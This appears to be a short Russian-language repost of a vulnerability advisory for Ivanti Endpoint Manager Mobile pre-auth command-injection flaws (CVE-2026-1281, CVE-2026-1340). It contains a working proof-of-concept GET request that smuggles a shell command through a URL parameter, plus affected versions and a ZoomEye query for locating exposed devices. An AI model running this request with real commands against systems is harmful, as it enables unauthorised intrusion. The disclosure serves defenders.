Кто-то слишком хорошо знает Bash, и нам это нравится

[ADMIN]

Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 & CVE-2026-1340)

When Ivanti removed the embargoes from CVE-2026-1281 and CVE-2026-1340 - actively exploited pre-auth Remote Command Execution vulnerabilities in Ivanti’s Endpoint Manager Mobile (EPMM) solution - we sighed with relief. Clearly, the universe had decided to continue mocking Secure-By-Design...

labs.watchtowr.com

Проблемы с внедрением кода, позволяющие удаленному неавторизованному злоумышленнику выполнять произвольный код на уязвимом устройстве. Злоумышленники могут предоставить команды Bash в рамках вредоносного HTTP-запроса GET к конечным точкам, которые обслуживают либо функцию «Внутреннее распространение приложений» (т. е. /mifs/c/appstore/fob/), либо функцию «Конфигурация передачи файлов Android» (т. е. /mifs/c/aftstore/fob/), что приводит к выполнению произвольных команд ОС на целевом устройстве.

PoC Request:

GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,
et=1337133713,h=gPath%5B%60id%20>%20/mi/poc%60%5D/
13371337-1337-1337-1337-133713371337.ipa HTTP/1.1
Host: f5-research-lab-ioc-block-it-all.f5

Affected versions:

• 12.7.0.0 and prior
• 12.6.0.0 and prior
• 12.5.0.0 and prior
• 12.6.1.0 and prior
• 12.5.1.0 and prior

Query:

ZoomEye: app="Ivanti Endpoint Manager Mobile"